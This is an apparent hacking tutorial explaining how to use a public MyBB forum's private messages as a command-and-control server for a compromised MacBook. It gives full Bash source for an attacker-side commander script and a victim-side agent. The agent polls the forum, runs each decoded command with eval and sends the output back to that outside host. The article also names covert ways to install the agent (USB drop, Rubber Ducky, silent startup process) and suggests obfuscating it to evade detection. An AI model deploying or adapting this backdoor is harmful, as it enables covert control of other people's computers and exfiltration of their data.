Hacking macOS: How to Turn Forums into C&C Servers to Control MacBooks

Mar 19, 2020 02:00 PM
Mar 25, 2020 09:42 PM
636923624465937686.jpg

An attacker can repurpose public MyBB forums to act as command-and-control servers. It only takes a few lines of code to configure a MacBook to fetch commands and send responses to any website the attacker desires.

Before you keep reading, know that this project is not geared toward beginners. General knowledge of HTTP request headers and POST and GET requests, as well as some experience with creating variables, functions, and conditional statements in Bash, will be helpful when following along.

What Is a Command & Control Server?

Botnets are a collection of compromised internet-connected computers. These computers usually share a centralized point where new commands to perform can be found. There are many methods and protocols used in modern botnets. In our example, a public MyBB-based forum website is used as a centralized point (i.e., the command-and-control server) between the attacker and a compromised MacBook.

Why Use Websites for C&C Servers?

Using public websites as C&C systems isn't a new concept by any means. Hackers have been using sites like Google, Instagram, Dropbox, and Evernote for years to distribute malware as well as control other computers.

The most significant advantages of doing so include firewall evasion and transport encryption. Much like using Microsoft domains to host payloads, traffic passing through a network will be TLS (SSL) encrypted and appear to be regular website traffic. It would make it very easy for an attacker to communicate with the target device without generating persistent, unencrypted TCP traffic on the network.

Keep in mind, this project could be easily adapted to a Windows 10 system with PowerShell. Coupled with the use of a Microsoft domain would make it difficult for sysadmins to perform passive packet inspection and detect it.

How the MyCC Scripts Work

The aptly titled "MyCC" scripts created for this project were designed to use one (unnamed) MyBB forum as a command-and-control server.

Every forum handles cookies, authentication, and URLs a bit differently, so making the scripts universal to every MyBB forum would've taken more time to develop. The goal, really, was to find out how quickly and easily it could be accomplished with a single website.

The MyCC scripts were not designed to be reused or shared on GitHub. They've been uploaded to my Gist for posterity and as a proof-of-concept.

In just a few hours, I was able to turn a forum's private message system into a method of remotely sending commands to a compromised macOS device. It used the subject of the inbox messages to relay the status of the command or response (shown below).

636918411594375632.jpg

The "command" subject means there was a command waiting for the macOS device. The "response" subject says the macOS device executed the command and replied with the output.

MyCC consists of two separate scripts. The commander.sh script is responsible for sending commands to the compromised macOS device, while the agent.sh script gets executed on the macOS computer, which runs as a background process. Commander.sh is run locally in the attacker's Kali system while agent.sh checks the forum at set intervals for new commands to execute.

Below is an example of the commander.sh script looking for a new response on the server; it's responding to a previously issued ls -la command.

I'd like to emphasize that both scripts are very hacked together. By that, I mean, they weren't meant to be sophisticatedly coded or easy for others to read. When posed with a technical challenge, the quickest solutions were usually used to save time as well as show how anyone — even inexperienced coders — can hack together a simple C&C system. It doesn't take a well-funded attacker to pull it off.

How the Commander.sh Script Works

For starters, there's a simple function in the commander.sh script called msg (i.e., message) for displaying updates in the terminal. After echoing some text, it will sleep for 1.5 seconds. It's mostly arbitrary but gave me a second to read the output before moving on to the next command. The output messages could've been colorized, but that's a bit beyond the scope.

function msg ()
{
    echo -e "\n [mycc]> $1";
    sleep 1.5
};

A few variables were defined to make the script a bit more dynamic. These would make it possible to use multiple forum accounts and iterate through credentials with the same MyCC scripts.

forumUser="tokyoneon";
username="tokyoneon@email.com";
password="password1%$#;
cookies='/tmp/forum_cookies';

Later in the script, curl is used to login to the forum. But the email address and password in the body of the login request must be URL encoded. Now, the credentials could've been hardcoded into the curl command, but I wanted to show how a quick Google search solved the problem. The below urlencode function was taken (verbatim) from a Gist created in 2011 — script-kiddie-style.

function urlencode ()
{
    old_lc_collate=$LC_COLLATE;
    LC_COLLATE=C;
    local length="${#1}";
    for ((i = 0; i < length; i++ ))
    do
        local c="${1:i:1}";
        case $c in
            [a-zA-Z0-9.~_-])
                printf "$c"
            ;;
            *)
                printf '%%%02X' "'$c"
            ;;
        esac;
    done;
    LC_COLLATE=$old_lc_collate
};

The urlencode function is then used to encode the email address and password into new variables.

encUsername="$(urlencode $username)";
encPassword="$(urlencode $password)";

After curl has attempted to log into the forum, the cookies are written into the /tmp/forum_cookies file. The $cookies file path was defined earlier in the script. The below cookie_detect function will use grep to find the "mybbuser" cookie in the $cookies file. If the cookie isn't found, commander.sh will exit. It isn't a vital function but was helpful when debugging login issues and remained in the final version of the script.

function cookie_detect ()
{
    if [[ -n "$(grep -io 'mybbuser' $cookies)" ]]; then
        msg "valid login detected";
    else
        msg "invalid login. check the cookies";
        exit;
    fi
};

The login_request function will attempt to log into the website to create fresh cookies. Cookies are saved locally using curl's --cookie-jar option. Our particular forum didn't require new login cookies with every command sent and received. It just seemed like a good idea to quickly refresh the cookies to avoid expired sessions from causing issues during the attack.

function login_request ()
{
    curl -s -X POST --cookie-jar $cookies 'https://mybbforum.com/member.php' --data "username=$encUsername&password=$encPassword&remember=yes&submit=Login&action=do_login&url=https%3A%2F%2Fmybbforum.com%2Findex.php" -o /dev/null 2>&1;
    cookie_detect
};

Curl's --data option was defined and captured using Burp by logging in while using the Proxy module (shown below).

636918396940781888.jpg

The data should be enclosed in double-quotes with the email address and password forms changed to $encUsername and $encPassword to allow curl to interpret the variables.

The commander.sh script consists of two options --fetch and --command. The --fetch option invokes the fetch_response function, which logs into the forum to check for a new message called "response." If the subject of the message is "response," commander.sh will find the message URL, open it, extract the body of the message, decode it, and display it in the terminal.

636918414244844714.jpg

Below is an example of the --fetch option in action, decoding the response from an ls -la command. If no response is detected, commander.sh will simply exit.

Comments have been added to the below function to better explain each line.

function fetch_response ()
{
    # invokes the login and cookie_detect functions
    login_request;

    # visits the /private.php page where new messages can
    # be found
    inboxCheck="$(curl -s --cookie $cookies 'https://mybbforum.com/private.php')";

    # uses grep to find the subject of the new message between
    # HTML strings
    inboxStatus="$(grep -oP '(?<=font-weight: bold;">).*?(?=</a></div>)' <<< $inboxCheck)";

    # if statement to determine if the message is a 'response'
    if [[ "$inboxStatus" = 'response' ]]; then

        # extracts the url of the new message
        response="$(grep -oP '(?<=titled <a href=").*?(?=" style)' <<< $inboxCheck | sed 's/amp;//g' | xargs)";

        # prints a message
        msg "new inbox message detected";

        # opens the URL of the new message
        request="$(curl -s --cookie "$cookies" "$response")";

        # uses grep to find the line where the encoded command is
        # and sed to remove surrounding HTML tags
        encResponse="$(grep --color=no -A1 'scaleimages" id="pid_">' <<< $request| sed 's/<.*>//;s/<\/.*>//' | xargs)";

        # prints the encoded response
        msg "encResponse = $encResponse";

        # decodes the response with base64
        decResponse="$(base64 -d <<< $encResponse)";

        # prints the decoded response
        msg "\n$decResponse";
    else
        # prints a message
        msg "no updates found on the server";
    fi
};

When the --command option is invoked, commander.sh will use the user_command function. The function attempts to log in (login_request) then passes the desired command into the upload_command function.

function user_command ()
{
    login_request;
    upload_command "$1"
};

Below is the --command option being used to send the ls -la command.

The upload_command function will first sleep for 61 seconds. Most MyBB-based forums have a mandatory delay between how frequently a user can send messages. The sleep command was introduced into the script to avoid POST requests failing silently as there's nothing in commander.sh designed to interpret error messages from the forum's server.

636918420830156694.jpg

After sleeping, upload_command will base64 encode the input command into the $encCommand variable. Then, curl will compose a new message to $forumUser (i.e., myself) with "command" as the subject of the message and $encCommand as the body. The --data, again, was first captured using Burp's Proxy module and modified for this command.

636918392264063185.jpg

The my_post_key in the data string appeared to be an MD5 string and automatically generated by the forum's server. It remained hardcoded into commander.sh and agent.sh the entire time and didn't seem to produce any issues. The key may not appear in every MyBB version or may need to be dynamically changed with every request. No time was spent figuring out its purpose or how it was generated as hardcoding it produced no issues.

function upload_command ()
{
    msg "sleeping for 60 seconds";
    sleep 61;
    encCommand="$(base64 <<< $1 | tr -d '\n')";
    curl -s --cookie "$cookies" 'https://mybbforum.com/private.php?action=send' --data "my_post_key=[post key here]&to=$forumUser&bcc=&subject=command&message=$encCommand&action=do_send&pmid=0&do=&submit=Send+Message"
};

Finally, the input_args function is used to handle user input. This function is more than what's required and can be accomplished with simple if statements. The function was recycled from another unpublished project I've been developing. It essentially detects the input options --fetch or --command and executes fetch_response or user_command, respectively. Again, very easily done with an if statement.

function input_args ()
{
    while [[ "$#" != 0 ]]; do
        case "$1" in
            -c | --command)
                user_command "$2"
            ;;
            -f | --fetch)
                fetch_response
            ;;
        esac;
        shift;
    done
};
input_args "$@"

That's all there is to the commander.sh script. It attempts to log into the forum before each request and either check for new responses or composes a new message containing an encoded command — all while printing each event in the terminal as it happens.

How the Agent.sh Script Works

The agent.sh script was designed to run on the compromised macOS device. The script is a bit stripped down compared to commander.sh. It doesn't have the msg or cookie_detect functions, for example. These weren't necessary for the functionality of the agent.

It starts with a while loop that causes the script to run infinitely in the background. When it's done iterating through the scripts processes, it will sleep for five minutes (300 seconds). It, of course, can be increased or decreased as needed.

while true; do
    ...
    sleep 300;
done

The same username, email address, password, and cookie variables are defined at the top of the script. These will allow the agent to log into the forum account, acquire a fresh set of cookies, and do its thing.

forumUser="tokyoneon";
username="tokyoneon@email.com";
password="password1%$#";
cookies='/tmp/forum_cookies';

Again, we have the urlencode function found on a random Gist. It's used in the following lines to encode the credentials for later curl commands.

function urlencode ()
{
    old_lc_collate=$LC_COLLATE;
    LC_COLLATE=C;
    local length="${#1}";
    for ((i = 0; i < length; i++ ))
    do
        local c="${1:i:1}";
        case $c in
            [a-zA-Z0-9.~_-])
                printf "$c"
            ;;
            *)
                printf '%%%02X' "'$c"
            ;;
        esac;
    done;
    LC_COLLATE=$old_lc_collate
};

The email address and password are encoded using the urlencode function.

enc_username="$(urlencode $username)";
enc_password="$(urlencode $password)";

The agent logs into the forum account and saves the cookies using the --cookie-jar option.

login_request="$(curl -s -X POST --cookie-jar $cookies 'https://mybbforum.com/member.php' --data "username=$enc_username&password=$enc_password&remember=yes&submit=Login&action=do_login&url=https%3A%2F%2Fmybbforum.com%2Findex.php" -o /dev/null 2>&1)";

The agent logs into the account with the new cookies to view the /private.php page where new messages can be found. The request is stored in the inboxCheck variable.

inboxCheck="$(curl -s --cookie $cookies 'https://mybbforum.com/private.php')";

Unlike most Linux devices, the version of grep in macOS can't be used to filter text between HTML tags. For the agent, awk was used instead, which made the line horribly long. Again, using whatever works to get the job done.

inboxStatus="$(awk -v FS="(\" style=\"font-weight: bold;\">|</a></div> </div> <\!)" '{print $2}' <<< $inboxCheck)";

An if statement to determine which actions are performed if "command" is found in the subject of the new message. If "command" is detected, it will extract the URL of the new message, open it, extract the encoded string, decode it, and execute it.

636918423115937943.jpg

It will then take the output of the executed command, encode it, and compose a new message with the encoded output in the body.

The below lines have been commented for additional explanations of each command.

if [[ "$inboxStatus" = 'command' ]]; then
    # awk will filter any text between START and END in the
    # following command e.g., FS="(START|END)" - sed is used
    # to remove the URL encoded text
    command="$(awk -v FS="(</a> titled <a href=\"|\" style=\"font-weight: bold;\">command)" '{print $2}' <<< $inboxCheck | sed 's/amp;//g')";

    # curl is used to open the URL with the new $cookies
    request="$(curl -s --cookie $cookies $command)";

    # the MyBB forum automatically enclosed the command between
    # [quote] code blocks. awk is used to filter text between the
    # blocks
    encCommand="$(awk -v FS="(quote|/quote)" '{print $2}' <<< $request | awk '{print $2}')";

    # the command is decoded with base64
    decCommand="$(base64 -D <<< $encCommand)";

    # eval executes the decoded command variable and immediately
    # encodes the output
    response="$(eval $decCommand 2>&1 | base64 | tr -d '\n')";

    # some commands dont produce an output. this will detect
    # null outputs
    if [[ -z "$response" ]]; then

        # if no output detected, the agent will tell the server
        response="$(printf '%s' 'no response detected in the terminal' | base64)";
    fi;

    # before composing a new message, the agent will sleep
    # for 61 seconds
    sleep 61;

    # the agent will compose a new message with the encoded output
    # as the body of the message
    curl -s --cookie "$cookies" 'https://mybbforum.com/private.php?action=send' --data "my_post_key=[post key here]&to=$forumUser&bcc=&subject=response&message=$response&action=do_send&pmid=0&do=&submit=Send+Message";
fi

And that's it. Executing the agent on a macOS device can be done in several ways. For example, using single-user mode to embed a silent startup process, a USB drop attack, or with a USB Rubber Ducky payload.

Improving the Scripts Functionalities

The biggest issue with using public websites in this manner is the lack of confidentiality. Sending and receiving sensitive customer data to a website or forum would make it accessible to the administrators. Private messages are most likely being logged permanently into the website's database (e.g., MySQL). The use of OpenSSL (similar to Armor's functionality) could be used to transmit the data securely. As long as the domain is within the scope of the engagement and/or owned by the target, it is probably okay to use in a real engagement.

There's a lot that can be done to improve these scripts. The commander script is about 100 lines, and the agent script only about 40. The agent, especially, can probably be trimmed down with some time and patients. There are several features I would've liked to include (no particular order):

  • The MyBB forum had a limit to how many messages a new user could store in the inbox. A feature to automatically purge the inbox of old messages would've been great.
  • Base64 encoded strings can generate a lot of text, and there's no doubt a limit to how large a private message can be. In my tests, the character limit was never reached, but it would cause issues in a real scenario. Some kind of character length detection functionality could be written into the agent to prevent this.
  • The commander and agent scripts were separate scripts. A dedicated function to generate agent stagers could be done. In addition, obfuscating the stager with Armor or something like Bashfuscator would be helpful.
  • MyCC was designed to interact with one specific forum. It would be better to make it smart enough to work with any kind of MyBB forum.
  • This kind of project should've been coded with a language like Python3. But Python3 isn't in every version of macOS, Ubuntu, and Debian like Bash.
  • The ability to review and delete the previously issued commands using the commander script would've been convenient.

Follow me on Twitter @tokyoneon_ and leave a comment below if you have any questions.

Cover photo, screenshots, and GIFs by tokyoneon/Null Byte

Comments

No Comments Exist

Be the first, drop a comment!